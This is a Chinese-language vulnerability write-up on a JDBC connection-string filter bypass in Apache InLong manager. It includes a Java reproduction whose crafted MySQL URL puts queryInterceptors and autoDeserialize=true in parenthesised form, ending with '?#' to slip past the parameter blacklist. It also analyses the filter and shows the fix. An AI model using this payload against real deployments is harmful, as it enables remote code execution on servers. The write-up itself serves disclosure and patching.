漏洞描述
Apache InLong 是开源的高性能数据集成框架,用于业务构建基于流式的数据分析、建模和应用。
受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。
影响范围
org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)
漏洞复现
添加依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.inlong</groupId> <artifactId>manager-common</artifactId> <version>1.11.0</version> </dependency>
|
demo代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| package main.java.inlong;
import org.apache.inlong.manager.common.consts.InlongConstants; import org.apache.inlong.manager.common.exceptions.BaseException;
import org.apache.commons.lang3.StringUtils;
import java.net.URLDecoder; import java.sql.DriverManager; import java.sql.SQLException; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; public class test { private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {
{ put("autoDeserialize", "false"); put("allowLoadLocalInfile", "false"); put("allowUrlInLocalInfile", "false"); } };
private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {
{ add("allowLoadLocalInfileInPath"); } };
public static String filterSensitive(String url) { if (StringUtils.isBlank(url)) { return url; }
try { String resultUrl = url; while (resultUrl.contains(InlongConstants.PERCENT)) { resultUrl = URLDecoder.decode(resultUrl, "UTF-8"); } resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);
if (resultUrl.contains(InlongConstants.QUESTION_MARK)) { StringBuilder builder = new StringBuilder(); builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK)); builder.append(InlongConstants.QUESTION_MARK);
List<String> paramList = new ArrayList<>(); String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK); if (queryString.contains("#")) { queryString = StringUtils.substringBefore(queryString, "#"); } for (String param : queryString.split(InlongConstants.AMPERSAND)) { String key = StringUtils.substringBefore(param, InlongConstants.EQUAL); String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);
if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) { continue; }
paramList.add(key + InlongConstants.EQUAL + value); } SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));
String params = StringUtils.join(paramList, InlongConstants.AMPERSAND); builder.append(params); resultUrl = builder.toString(); }
return resultUrl; } catch (Exception e) { throw new BaseException(String.format("Failed to filter MySQL sensitive URL: %s, error: %s", url, e.getMessage())); } }
public static void main(String[] args) throws ClassNotFoundException, SQLException { String url="jdbc:mysql://address=(host=localhost)(port=3307) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#"; String jdbcURL= filterSensitive(url); Class.forName("com.mysql.cj.jdbc.Driver"); DriverManager.getConnection(jdbcURL); } }
|
fake服务
![image-20240618091042751](/image/image-20240618091042751.png)
成功命令执行
![image-20240618091308749](/image/image-20240618091308749.png)
漏洞分析
之前版本的inlong是存在JDBC的漏洞的,我们看一下当前版本是怎么修复的
首先定义了一个SENSITIVE_REPLACE_PARAM_MAP变量,其中是待替换的参数键值
![image-20240618093513527](/image/image-20240618093513527.png)
然后是待删除的键
![image-20240618093500920](/image/image-20240618093500920.png)
然后我们来看一下主要的filterSensitive方法
首先判断url是否为空
![image-20240618093714330](/image/image-20240618093714330.png)
随后判断url中是否有%,如果有的话就对其进行url解码
![image-20240618093803764](/image/image-20240618093803764.png)
然后将空白字符替换为空
![image-20240618093948503](/image/image-20240618093948503.png)
如果url中存在?,则继续往下
![image-20240618094115267](/image/image-20240618094115267.png)
然后将问号之前的字符串添加到StingBuilder中,并在最后增加一个问号
![image-20240618094419189](/image/image-20240618094419189.png)
接着将?之后的字符串存储到queryString中
![image-20240618094545501](/image/image-20240618094545501.png)
如果queryString中存在#,那么就将queryString替换为#之前的字符串
![image-20240618094611265](/image/image-20240618094611265.png)
接着将queryString按&符号分割存储
![image-20240618094758655](/image/image-20240618094758655.png)
最后一部分
![image-20240618095318319](/image/image-20240618095318319.png)
大致功能就是:对key进行一个黑名单检验和替换,然后将其加入到paramList后添加到StringBuilder中
我们回过头去看看我们之前的payload,就是将?与#放在了一起,并且实际的查询参数中也没有?的存在,那么queryString其实就是空值,也就绕过了黑名单的检验,而mysql查询是支持(键=值)
的格式的
漏洞修复
1 2 3 4
| for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) { resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY); resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY); }
|
直接将黑名单中设置为true的键值对设置为空
在新版本的测试过程中,似乎发现了该版本不再支持(键=值)
的查询方式